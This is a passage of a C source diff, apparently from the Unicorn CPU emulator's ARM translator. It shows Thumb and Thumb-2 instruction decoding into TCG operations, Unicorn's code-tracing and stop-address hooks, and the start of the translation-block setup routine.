tmp); + } else { + imm = ((insn & 0x04000000) >> 15) + | ((insn & 0x7000) >> 4) | (insn & 0xff); + if (insn & (1 << 22)) { + /* 16-bit immediate. */ + imm |= (insn >> 4) & 0xf000; + if (insn & (1 << 23)) { + /* movt */ + tmp = load_reg(s, rd); + tcg_gen_ext16u_i32(tcg_ctx, tmp, tmp); + tcg_gen_ori_i32(tcg_ctx, tmp, tmp, imm << 16); + } else { + /* movw */ + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, imm); + } + } else { + /* Add/sub 12-bit immediate. */ + if (rn == 15) { + offset = s->pc & ~(uint32_t)3; + if (insn & (1 << 23)) + offset -= imm; + else + offset += imm; + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, offset); + } else { + tmp = load_reg(s, rn); + if (insn & (1 << 23)) + tcg_gen_subi_i32(tcg_ctx, tmp, tmp, imm); + else + tcg_gen_addi_i32(tcg_ctx, tmp, tmp, imm); + } + } + store_reg(s, rd, tmp); + } + } else { + int shifter_out = 0; + /* modified 12-bit immediate. */ + shift = ((insn & 0x04000000) >> 23) | ((insn & 0x7000) >> 12); + imm = (insn & 0xff); + switch (shift) { + case 0: /* XY */ + /* Nothing to do. */ + break; + case 1: /* 00XY00XY */ + imm |= imm << 16; + break; + case 2: /* XY00XY00 */ + imm |= imm << 16; + imm <<= 8; + break; + case 3: /* XYXYXYXY */ + imm |= imm << 16; + imm |= imm << 8; + break; + default: /* Rotated constant. */ + shift = (shift << 1) | (imm >> 7); + imm |= 0x80; + imm = imm << (32 - shift); + shifter_out = 1; + break; + } + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp2, imm); + rn = (insn >> 16) & 0xf; + if (rn == 15) { + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, 0); + } else { + tmp = load_reg(s, rn); + } + op = (insn >> 21) & 0xf; + if (gen_thumb2_data_op(s, op, (insn & (1 << 20)) != 0, + shifter_out, tmp, tmp2)) + goto illegal_op; + tcg_temp_free_i32(tcg_ctx, tmp2); + rd = (insn >> 8) & 0xf; + if (rd != 15) { + store_reg(s, rd, tmp); + } else { + tcg_temp_free_i32(tcg_ctx, tmp); + } + } + } + break; + case 12: /* Load/store single data item. */ + { + int postinc = 0; + int writeback = 0; + int memidx; + if ((insn & 0x01100000) == 0x01000000) { + if (disas_neon_ls_insn(s, insn)) { + goto illegal_op; + } + break; + } + op = ((insn >> 21) & 3) | ((insn >> 22) & 4); + if (rs == 15) { + if (!(insn & (1 << 20))) { + goto illegal_op; + } + if (op != 2) { + /* Byte or halfword load space with dest == r15 : memory hints. + * Catch them early so we don't emit pointless addressing code. + * This space is a mix of: + * PLD/PLDW/PLI, which we implement as NOPs (note that unlike + * the ARM encodings, PLDW space doesn't UNDEF for non-v7MP + * cores) + * unallocated hints, which must be treated as NOPs + * UNPREDICTABLE space, which we NOP or UNDEF depending on + * which is easiest for the decoding logic + * Some space which must UNDEF + */ + int op1 = (insn >> 23) & 3; + int op2 = (insn >> 6) & 0x3f; + if (op & 2) { + goto illegal_op; + } + if (rn == 15) { + /* UNPREDICTABLE, unallocated hint or + * PLD/PLDW/PLI (literal) + */ + return 0; + } + if (op1 & 1) { + return 0; /* PLD/PLDW/PLI or unallocated hint */ + } + if ((op2 == 0) || ((op2 & 0x3c) == 0x30)) { + return 0; /* PLD/PLDW/PLI or unallocated hint */ + } + /* UNDEF space, or an UNPREDICTABLE */ + return 1; + } + } + memidx = get_mem_index(s); + if (rn == 15) { + addr = tcg_temp_new_i32(tcg_ctx); + /* PC relative. */ + /* s->pc has already been incremented by 4. */ + imm = s->pc & 0xfffffffc; + if (insn & (1 << 23)) + imm += insn & 0xfff; + else + imm -= insn & 0xfff; + tcg_gen_movi_i32(tcg_ctx, addr, imm); + } else { + addr = load_reg(s, rn); + if (insn & (1 << 23)) { + /* Positive offset. */ + imm = insn & 0xfff; + tcg_gen_addi_i32(tcg_ctx, addr, addr, imm); + } else { + imm = insn & 0xff; + switch ((insn >> 8) & 0xf) { + case 0x0: /* Shifted Register. */ + shift = (insn >> 4) & 0xf; + if (shift > 3) { + tcg_temp_free_i32(tcg_ctx, addr); + goto illegal_op; + } + tmp = load_reg(s, rm); + if (shift) + tcg_gen_shli_i32(tcg_ctx, tmp, tmp, shift); + tcg_gen_add_i32(tcg_ctx, addr, addr, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 0xc: /* Negative offset. */ + tcg_gen_addi_i32(tcg_ctx, addr, addr, 0-imm); + break; + case 0xe: /* User privilege. */ + tcg_gen_addi_i32(tcg_ctx, addr, addr, imm); + memidx = MMU_USER_IDX; + break; + case 0x9: /* Post-decrement. */ + imm = 0-imm; + /* Fall through. */ + case 0xb: /* Post-increment. */ + postinc = 1; + writeback = 1; + break; + case 0xd: /* Pre-decrement. */ + imm = 0-imm; + /* Fall through. */ + case 0xf: /* Pre-increment. */ + tcg_gen_addi_i32(tcg_ctx, addr, addr, imm); + writeback = 1; + break; + default: + tcg_temp_free_i32(tcg_ctx, addr); + goto illegal_op; + } + } + } + if (insn & (1 << 20)) { + /* Load. */ + tmp = tcg_temp_new_i32(tcg_ctx); + switch (op) { + case 0: + gen_aa32_ld8u(s, tmp, addr, memidx); + break; + case 4: + gen_aa32_ld8s(s, tmp, addr, memidx); + break; + case 1: + gen_aa32_ld16u(s, tmp, addr, memidx); + break; + case 5: + gen_aa32_ld16s(s, tmp, addr, memidx); + break; + case 2: + gen_aa32_ld32u(s, tmp, addr, memidx); + break; + default: + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, addr); + goto illegal_op; + } + if (rs == 15) { + gen_bx(s, tmp); + } else { + store_reg(s, rs, tmp); + } + } else { + /* Store. */ + tmp = load_reg(s, rs); + switch (op) { + case 0: + gen_aa32_st8(s, tmp, addr, memidx); + break; + case 1: + gen_aa32_st16(s, tmp, addr, memidx); + break; + case 2: + gen_aa32_st32(s, tmp, addr, memidx); + break; + default: + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, addr); + goto illegal_op; + } + tcg_temp_free_i32(tcg_ctx, tmp); + } + if (postinc) + tcg_gen_addi_i32(tcg_ctx, addr, addr, imm); + if (writeback) { + store_reg(s, rn, addr); + } else { + tcg_temp_free_i32(tcg_ctx, addr); + } + } + break; + default: + goto illegal_op; + } + return 0; +illegal_op: + return 1; +} + +static void disas_thumb_insn(CPUARMState *env, DisasContext *s) // qq +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint32_t val, insn, op, rm, rn, rd, shift, cond; + int32_t offset; + int i; + TCGv_i32 tmp; + TCGv_i32 tmp2; + TCGv_i32 addr; + + // Unicorn: end address tells us to stop emulation + if (s->pc == s->uc->addr_end) { + // imitate WFI instruction to halt emulation + s->is_jmp = DISAS_WFI; + return; + } + + if (s->condexec_mask) { + cond = s->condexec_cond; + if (cond != 0x0e) { /* Skip conditional when condition is AL. */ + s->condlabel = gen_new_label(tcg_ctx); + arm_gen_test_cc(tcg_ctx, cond ^ 1, s->condlabel); + s->condjmp = 1; + } + } + + insn = arm_lduw_code(env, s->pc, s->bswap_code); + + // Unicorn: trace this instruction on request + if (HOOK_EXISTS_BOUNDED(s->uc, UC_HOOK_CODE, s->pc)) { + // determine instruction size (Thumb/Thumb2) + switch(insn & 0xf800) { + // Thumb2: 32-bit + case 0xe800: + case 0xf000: + case 0xf800: + gen_uc_tracecode(tcg_ctx, 4, UC_HOOK_CODE_IDX, s->uc, s->pc); + break; + // Thumb: 16-bit + default: + gen_uc_tracecode(tcg_ctx, 2, UC_HOOK_CODE_IDX, s->uc, s->pc); + break; + } + // the callback might want to stop emulation immediately + check_exit_request(tcg_ctx); + } + + s->pc += 2; + + switch (insn >> 12) { + case 0: case 1: + + rd = insn & 7; + op = (insn >> 11) & 3; + if (op == 3) { + /* add/subtract */ + rn = (insn >> 3) & 7; + tmp = load_reg(s, rn); + if (insn & (1 << 10)) { + /* immediate */ + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp2, (insn >> 6) & 7); + } else { + /* reg */ + rm = (insn >> 6) & 7; + tmp2 = load_reg(s, rm); + } + if (insn & (1 << 9)) { + if (s->condexec_mask) + tcg_gen_sub_i32(tcg_ctx, tmp, tmp, tmp2); + else + gen_sub_CC(s, tmp, tmp, tmp2); + } else { + if (s->condexec_mask) + tcg_gen_add_i32(tcg_ctx, tmp, tmp, tmp2); + else + gen_add_CC(s, tmp, tmp, tmp2); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + store_reg(s, rd, tmp); + } else { + /* shift immediate */ + rm = (insn >> 3) & 7; + shift = (insn >> 6) & 0x1f; + tmp = load_reg(s, rm); + gen_arm_shift_im(s, tmp, op, shift, s->condexec_mask == 0); + if (!s->condexec_mask) + gen_logic_CC(s, tmp); + store_reg(s, rd, tmp); + } + break; + case 2: case 3: + /* arithmetic large immediate */ + op = (insn >> 11) & 3; + rd = (insn >> 8) & 0x7; + if (op == 0) { /* mov */ + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, insn & 0xff); + if (!s->condexec_mask) + gen_logic_CC(s, tmp); + store_reg(s, rd, tmp); + } else { + tmp = load_reg(s, rd); + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp2, insn & 0xff); + switch (op) { + case 1: /* cmp */ + gen_sub_CC(s, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, tmp2); + break; + case 2: /* add */ + if (s->condexec_mask) + tcg_gen_add_i32(tcg_ctx, tmp, tmp, tmp2); + else + gen_add_CC(s, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + store_reg(s, rd, tmp); + break; + case 3: /* sub */ + if (s->condexec_mask) + tcg_gen_sub_i32(tcg_ctx, tmp, tmp, tmp2); + else + gen_sub_CC(s, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + store_reg(s, rd, tmp); + break; + } + } + break; + case 4: + if (insn & (1 << 11)) { + rd = (insn >> 8) & 7; + /* load pc-relative. Bit 1 of PC is ignored. */ + val = s->pc + 2 + ((insn & 0xff) * 4); + val &= ~(uint32_t)2; + addr = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, addr, val); + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, addr); + store_reg(s, rd, tmp); + break; + } + if (insn & (1 << 10)) { + /* data processing extended or blx */ + rd = (insn & 7) | ((insn >> 4) & 8); + rm = (insn >> 3) & 0xf; + op = (insn >> 8) & 3; + switch (op) { + case 0: /* add */ + tmp = load_reg(s, rd); + tmp2 = load_reg(s, rm); + tcg_gen_add_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + store_reg(s, rd, tmp); + break; + case 1: /* cmp */ + tmp = load_reg(s, rd); + tmp2 = load_reg(s, rm); + gen_sub_CC(s, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 2: /* mov/cpy */ + tmp = load_reg(s, rm); + store_reg(s, rd, tmp); + break; + case 3:/* branch [and link] exchange thumb register */ + tmp = load_reg(s, rm); + if (insn & (1 << 7)) { + ARCH(5); + val = (uint32_t)s->pc | 1; + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp2, val); + store_reg(s, 14, tmp2); + } + /* already thumb, no need to check */ + gen_bx(s, tmp); + break; + } + break; + } + + /* data processing register */ + rd = insn & 7; + rm = (insn >> 3) & 7; + op = (insn >> 6) & 0xf; + if (op == 2 || op == 3 || op == 4 || op == 7) { + /* the shift/rotate ops want the operands backwards */ + val = rm; + rm = rd; + rd = val; + val = 1; + } else { + val = 0; + } + + if (op == 9) { /* neg */ + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, 0); + } else if (op != 0xf) { /* mvn doesn't read its first operand */ + tmp = load_reg(s, rd); + } else { + TCGV_UNUSED_I32(tmp); + } + + tmp2 = load_reg(s, rm); + switch (op) { + case 0x0: /* and */ + tcg_gen_and_i32(tcg_ctx, tmp, tmp, tmp2); + if (!s->condexec_mask) + gen_logic_CC(s, tmp); + break; + case 0x1: /* eor */ + tcg_gen_xor_i32(tcg_ctx, tmp, tmp, tmp2); + if (!s->condexec_mask) + gen_logic_CC(s, tmp); + break; + case 0x2: /* lsl */ + if (s->condexec_mask) { + gen_shl(s, tmp2, tmp2, tmp); + } else { + gen_helper_shl_cc(tcg_ctx, tmp2, tcg_ctx->cpu_env, tmp2, tmp); + gen_logic_CC(s, tmp2); + } + break; + case 0x3: /* lsr */ + if (s->condexec_mask) { + gen_shr(s, tmp2, tmp2, tmp); + } else { + gen_helper_shr_cc(tcg_ctx, tmp2, tcg_ctx->cpu_env, tmp2, tmp); + gen_logic_CC(s, tmp2); + } + break; + case 0x4: /* asr */ + if (s->condexec_mask) { + gen_sar(s, tmp2, tmp2, tmp); + } else { + gen_helper_sar_cc(tcg_ctx, tmp2, tcg_ctx->cpu_env, tmp2, tmp); + gen_logic_CC(s, tmp2); + } + break; + case 0x5: /* adc */ + if (s->condexec_mask) { + gen_adc(s, tmp, tmp2); + } else { + gen_adc_CC(s, tmp, tmp, tmp2); + } + break; + case 0x6: /* sbc */ + if (s->condexec_mask) { + gen_sub_carry(s, tmp, tmp, tmp2); + } else { + gen_sbc_CC(s, tmp, tmp, tmp2); + } + break; + case 0x7: /* ror */ + if (s->condexec_mask) { + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, 0x1f); + tcg_gen_rotr_i32(tcg_ctx, tmp2, tmp2, tmp); + } else { + gen_helper_ror_cc(tcg_ctx, tmp2, tcg_ctx->cpu_env, tmp2, tmp); + gen_logic_CC(s, tmp2); + } + break; + case 0x8: /* tst */ + tcg_gen_and_i32(tcg_ctx, tmp, tmp, tmp2); + gen_logic_CC(s, tmp); + rd = 16; + break; + case 0x9: /* neg */ + if (s->condexec_mask) + tcg_gen_neg_i32(tcg_ctx, tmp, tmp2); + else + gen_sub_CC(s, tmp, tmp, tmp2); + break; + case 0xa: /* cmp */ + gen_sub_CC(s, tmp, tmp, tmp2); + rd = 16; + break; + case 0xb: /* cmn */ + gen_add_CC(s, tmp, tmp, tmp2); + rd = 16; + break; + case 0xc: /* orr */ + tcg_gen_or_i32(tcg_ctx, tmp, tmp, tmp2); + if (!s->condexec_mask) + gen_logic_CC(s, tmp); + break; + case 0xd: /* mul */ + tcg_gen_mul_i32(tcg_ctx, tmp, tmp, tmp2); + if (!s->condexec_mask) + gen_logic_CC(s, tmp); + break; + case 0xe: /* bic */ + tcg_gen_andc_i32(tcg_ctx, tmp, tmp, tmp2); + if (!s->condexec_mask) + gen_logic_CC(s, tmp); + break; + case 0xf: /* mvn */ + tcg_gen_not_i32(tcg_ctx, tmp2, tmp2); + if (!s->condexec_mask) + gen_logic_CC(s, tmp2); + val = 1; + rm = rd; + break; + } + if (rd != 16) { + if (val) { + store_reg(s, rm, tmp2); + if (op != 0xf) + tcg_temp_free_i32(tcg_ctx, tmp); + } else { + store_reg(s, rd, tmp); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + } else { + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + break; + + case 5: + /* load/store register offset. */ + rd = insn & 7; + rn = (insn >> 3) & 7; + rm = (insn >> 6) & 7; + op = (insn >> 9) & 7; + addr = load_reg(s, rn); + tmp = load_reg(s, rm); + tcg_gen_add_i32(tcg_ctx, addr, addr, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + + if (op < 3) { /* store */ + tmp = load_reg(s, rd); + } else { + tmp = tcg_temp_new_i32(tcg_ctx); + } + + switch (op) { + case 0: /* str */ + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + break; + case 1: /* strh */ + gen_aa32_st16(s, tmp, addr, get_mem_index(s)); + break; + case 2: /* strb */ + gen_aa32_st8(s, tmp, addr, get_mem_index(s)); + break; + case 3: /* ldrsb */ + gen_aa32_ld8s(s, tmp, addr, get_mem_index(s)); + break; + case 4: /* ldr */ + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + break; + case 5: /* ldrh */ + gen_aa32_ld16u(s, tmp, addr, get_mem_index(s)); + break; + case 6: /* ldrb */ + gen_aa32_ld8u(s, tmp, addr, get_mem_index(s)); + break; + case 7: /* ldrsh */ + gen_aa32_ld16s(s, tmp, addr, get_mem_index(s)); + break; + } + if (op >= 3) { /* load */ + store_reg(s, rd, tmp); + } else { + tcg_temp_free_i32(tcg_ctx, tmp); + } + tcg_temp_free_i32(tcg_ctx, addr); + break; + + case 6: + /* load/store word immediate offset */ + rd = insn & 7; + rn = (insn >> 3) & 7; + addr = load_reg(s, rn); + val = (insn >> 4) & 0x7c; + tcg_gen_addi_i32(tcg_ctx, addr, addr, val); + + if (insn & (1 << 11)) { + /* load */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + store_reg(s, rd, tmp); + } else { + /* store */ + tmp = load_reg(s, rd); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + } + tcg_temp_free_i32(tcg_ctx, addr); + break; + + case 7: + /* load/store byte immediate offset */ + rd = insn & 7; + rn = (insn >> 3) & 7; + addr = load_reg(s, rn); + val = (insn >> 6) & 0x1f; + tcg_gen_addi_i32(tcg_ctx, addr, addr, val); + + if (insn & (1 << 11)) { + /* load */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld8u(s, tmp, addr, get_mem_index(s)); + store_reg(s, rd, tmp); + } else { + /* store */ + tmp = load_reg(s, rd); + gen_aa32_st8(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + } + tcg_temp_free_i32(tcg_ctx, addr); + break; + + case 8: + /* load/store halfword immediate offset */ + rd = insn & 7; + rn = (insn >> 3) & 7; + addr = load_reg(s, rn); + val = (insn >> 5) & 0x3e; + tcg_gen_addi_i32(tcg_ctx, addr, addr, val); + + if (insn & (1 << 11)) { + /* load */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld16u(s, tmp, addr, get_mem_index(s)); + store_reg(s, rd, tmp); + } else { + /* store */ + tmp = load_reg(s, rd); + gen_aa32_st16(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + } + tcg_temp_free_i32(tcg_ctx, addr); + break; + + case 9: + /* load/store from stack */ + rd = (insn >> 8) & 7; + addr = load_reg(s, 13); + val = (insn & 0xff) * 4; + tcg_gen_addi_i32(tcg_ctx, addr, addr, val); + + if (insn & (1 << 11)) { + /* load */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + store_reg(s, rd, tmp); + } else { + /* store */ + tmp = load_reg(s, rd); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + } + tcg_temp_free_i32(tcg_ctx, addr); + break; + + case 10: + /* add to high reg */ + rd = (insn >> 8) & 7; + if (insn & (1 << 11)) { + /* SP */ + tmp = load_reg(s, 13); + } else { + /* PC. bit 1 is ignored. */ + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, (s->pc + 2) & ~(uint32_t)2); + } + val = (insn & 0xff) * 4; + tcg_gen_addi_i32(tcg_ctx, tmp, tmp, val); + store_reg(s, rd, tmp); + break; + + case 11: + /* misc */ + op = (insn >> 8) & 0xf; + switch (op) { + case 0: + /* adjust stack pointer */ + tmp = load_reg(s, 13); + val = (insn & 0x7f) * 4; + if (insn & (1 << 7)) + val = -(int32_t)val; + tcg_gen_addi_i32(tcg_ctx, tmp, tmp, val); + store_reg(s, 13, tmp); + break; + + case 2: /* sign/zero extend. */ + ARCH(6); + rd = insn & 7; + rm = (insn >> 3) & 7; + tmp = load_reg(s, rm); + switch ((insn >> 6) & 3) { + case 0: gen_sxth(tmp); break; + case 1: gen_sxtb(tmp); break; + case 2: gen_uxth(tmp); break; + case 3: gen_uxtb(tmp); break; + } + store_reg(s, rd, tmp); + break; + case 4: case 5: case 0xc: case 0xd: + /* push/pop */ + addr = load_reg(s, 13); + if (insn & (1 << 8)) + offset = 4; + else + offset = 0; + for (i = 0; i < 8; i++) { + if (insn & (1 << i)) + offset += 4; + } + if ((insn & (1 << 11)) == 0) { + tcg_gen_addi_i32(tcg_ctx, addr, addr, -offset); + } + for (i = 0; i < 8; i++) { + if (insn & (1 << i)) { + if (insn & (1 << 11)) { + /* pop */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + store_reg(s, i, tmp); + } else { + /* push */ + tmp = load_reg(s, i); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + } + /* advance to the next address. */ + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + } + } + TCGV_UNUSED_I32(tmp); + if (insn & (1 << 8)) { + if (insn & (1 << 11)) { + /* pop pc */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + /* don't set the pc until the rest of the instruction + has completed */ + } else { + /* push lr */ + tmp = load_reg(s, 14); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + } + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + } + if ((insn & (1 << 11)) == 0) { + tcg_gen_addi_i32(tcg_ctx, addr, addr, -offset); + } + /* write back the new stack pointer */ + store_reg(s, 13, addr); + /* set the new PC value */ + if ((insn & 0x0900) == 0x0900) { + store_reg_from_load(s, 15, tmp); + } + break; + + case 1: case 3: case 9: case 11: /* czb */ + rm = insn & 7; + tmp = load_reg(s, rm); + s->condlabel = gen_new_label(tcg_ctx); + s->condjmp = 1; + if (insn & (1 << 11)) + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_EQ, tmp, 0, s->condlabel); + else + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_NE, tmp, 0, s->condlabel); + tcg_temp_free_i32(tcg_ctx, tmp); + offset = ((insn & 0xf8) >> 2) | (insn & 0x200) >> 3; + val = (uint32_t)s->pc + 2; + val += offset; + gen_jmp(s, val); + break; + + case 15: /* IT, nop-hint. */ + if ((insn & 0xf) == 0) { + gen_nop_hint(s, (insn >> 4) & 0xf); + break; + } + /* If Then. */ + s->condexec_cond = (insn >> 4) & 0xe; + s->condexec_mask = insn & 0x1f; + /* No actual code generated for this insn, just setup state. */ + break; + + case 0xe: /* bkpt */ + { + int imm8 = extract32(insn, 0, 8); + ARCH(5); + gen_exception_insn(s, 2, EXCP_BKPT, syn_aa32_bkpt(imm8, true)); + break; + } + + case 0xa: /* rev */ + ARCH(6); + rn = (insn >> 3) & 0x7; + rd = insn & 0x7; + tmp = load_reg(s, rn); + switch ((insn >> 6) & 3) { + case 0: tcg_gen_bswap32_i32(tcg_ctx, tmp, tmp); break; + case 1: gen_rev16(s, tmp); break; + case 3: gen_revsh(s, tmp); break; + default: goto illegal_op; + } + store_reg(s, rd, tmp); + break; + + case 6: + switch ((insn >> 5) & 7) { + case 2: + /* setend */ + ARCH(6); + if (((insn >> 3) & 1) != s->bswap_code) { + /* Dynamic endianness switching not implemented. */ + qemu_log_mask(LOG_UNIMP, "arm: unimplemented setend\n"); + goto illegal_op; + } + break; + case 3: + /* cps */ + ARCH(6); + if (IS_USER(s)) { + break; + } + if (arm_dc_feature(s, ARM_FEATURE_M)) { + tmp = tcg_const_i32(tcg_ctx, (insn & (1 << 4)) != 0); + /* FAULTMASK */ + if (insn & 1) { + addr = tcg_const_i32(tcg_ctx, 19); + gen_helper_v7m_msr(tcg_ctx, tcg_ctx->cpu_env, addr, tmp); + tcg_temp_free_i32(tcg_ctx, addr); + } + /* PRIMASK */ + if (insn & 2) { + addr = tcg_const_i32(tcg_ctx, 16); + gen_helper_v7m_msr(tcg_ctx, tcg_ctx->cpu_env, addr, tmp); + tcg_temp_free_i32(tcg_ctx, addr); + } + tcg_temp_free_i32(tcg_ctx, tmp); + gen_lookup_tb(s); + } else { + if (insn & (1 << 4)) { + shift = CPSR_A | CPSR_I | CPSR_F; + } else { + shift = 0; + } + gen_set_psr_im(s, ((insn & 7) << 6), 0, shift); + } + break; + default: + goto undef; + } + break; + + default: + goto undef; + } + break; + + case 12: + { + /* load/store multiple */ + TCGv_i32 loaded_var; + TCGV_UNUSED_I32(loaded_var); + rn = (insn >> 8) & 0x7; + addr = load_reg(s, rn); + for (i = 0; i < 8; i++) { + if (insn & (1 << i)) { + if (insn & (1 << 11)) { + /* load */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + if (i == rn) { + loaded_var = tmp; + } else { + store_reg(s, i, tmp); + } + } else { + /* store */ + tmp = load_reg(s, i); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + } + /* advance to the next address */ + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + } + } + if ((insn & (1 << rn)) == 0) { + /* base reg not in list: base register writeback */ + store_reg(s, rn, addr); + } else { + /* base reg in list: if load, complete it now */ + if (insn & (1 << 11)) { + store_reg(s, rn, loaded_var); + } + tcg_temp_free_i32(tcg_ctx, addr); + } + break; + } + case 13: + /* conditional branch or swi */ + cond = (insn >> 8) & 0xf; + if (cond == 0xe) + goto undef; + + if (cond == 0xf) { + /* swi */ + gen_set_pc_im(s, s->pc); + s->svc_imm = extract32(insn, 0, 8); + s->is_jmp = DISAS_SWI; + break; + } + /* generate a conditional jump to next instruction */ + s->condlabel = gen_new_label(tcg_ctx); + arm_gen_test_cc(tcg_ctx, cond ^ 1, s->condlabel); + s->condjmp = 1; + + /* jump to the offset */ + val = (uint32_t)s->pc + 2; + offset = ((int32_t)((uint32_t)insn << 24)) >> 24; + val += (int32_t)((uint32_t)offset << 1); + gen_jmp(s, val); + break; + + case 14: + if (insn & (1 << 11)) { + if (disas_thumb2_insn(env, s, insn)) + goto undef32; + break; + } + /* unconditional branch */ + val = (uint32_t)s->pc; + offset = ((int32_t)((uint32_t)insn << 21)) >> 21; + val += (int32_t)((uint32_t)offset << 1) + 2; + gen_jmp(s, val); + break; + + case 15: + if (disas_thumb2_insn(env, s, insn)) + goto undef32; + break; + } + + return; +undef32: + gen_exception_insn(s, 4, EXCP_UDEF, syn_uncategorized()); + return; +illegal_op: +undef: + gen_exception_insn(s, 2, EXCP_UDEF, syn_uncategorized()); +} + +/* generate intermediate code in gen_opc_buf and gen_opparam_buf for + basic block 'tb'. If search_pc is TRUE, also generate PC + information for each intermediate instruction. */ +static inline void gen_intermediate_code_internal(ARMCPU *cpu, + TranslationBlock *tb, + bool search_pc) +{ + CPUState *cs = CPU(cpu); + CPUARMState *env = &cpu->env; + DisasContext dc1, *dc = &dc1; + CPUBreakpoint *bp; + uint16_t *gen_opc_end; + int j, lj; + target_ulong pc_start; + target_ulong next_page_start; + int num_insns; + int max_insns; + TCGContext *tcg_ctx = env->uc->tcg_ctx; + bool block_full = false; + + /* generate intermediate code */ + + /* The A64 decoder has its own top level loop, because it doesn't need + * the A32/T32 complexity to do with conditional execution/IT blocks/etc. + */ + if (ARM_TBFLAG_AARCH64_STATE(tb->flags)) { + gen_intermediate_code_internal_a64(cpu, tb, search_pc); + return; + } + + pc_start = tb->pc; + + dc->uc = env->uc; + dc->tb = tb; + + gen_opc_end = tcg_ctx->gen_opc_buf + OPC_MAX_SIZE; + + dc->is_jmp = DISAS_NEXT; + dc->pc = pc_start; + + dc->singlestep_enabled = cs->singlestep_enabled; + dc->condjmp = 0; + + dc->aarch64 = 0; + dc->thumb = ARM_TBFLAG_THUMB(tb->flags); // qq + dc->bswap_code = ARM_TBFLAG_BSWAP_CODE(tb->flags); + dc->condexec_mask = (ARM_TBFLAG_CONDEXEC(tb->flags) & 0xf) << 1; + dc->condexec_cond = ARM_TBFLAG_CONDEXEC(tb->flags) >> 4; +#if !defined(CONFIG_USER_ONLY) + dc->user = (ARM_TBFLAG_PRIV(tb->flags) == 0); +#endif + dc->cpacr_fpen = ARM_TBFLAG_CPACR_FPEN(tb->flags); + dc->vfp_enabled = ARM_TBFLAG_VFPEN(tb->flags); + dc->vec_len = ARM_TBFLAG_VECLEN(tb->flags); + dc->vec_stride = ARM_TBFLAG_VECSTRIDE(tb->flags); + dc->c15_cpar = ARM_TBFLAG_XSCALE_CPAR(tb->flags); + dc->cp_regs = cpu->cp_regs; + dc->current_el = arm_current_el(env); + dc->features = env->features; + + /* Single step state. The code-generation logic here is: + * SS_ACTIVE == 0: + * generate code with no special handling for single-stepping (except + * that anything that can make us go to SS_ACTIVE == 1 must end the TB; + * this happens anyway because those changes are all system register or + * PSTATE writes). + * SS_ACTIVE == 1, PSTATE.SS == 1: (active-not-pending) + * emit code for one insn + * emit code to clear PSTATE.SS + * emit code to generate software step exception for completed step + * end TB (as usual for having generated an exception) + * SS_ACTIVE == 1, PSTATE.SS == 0: (active-pending) + 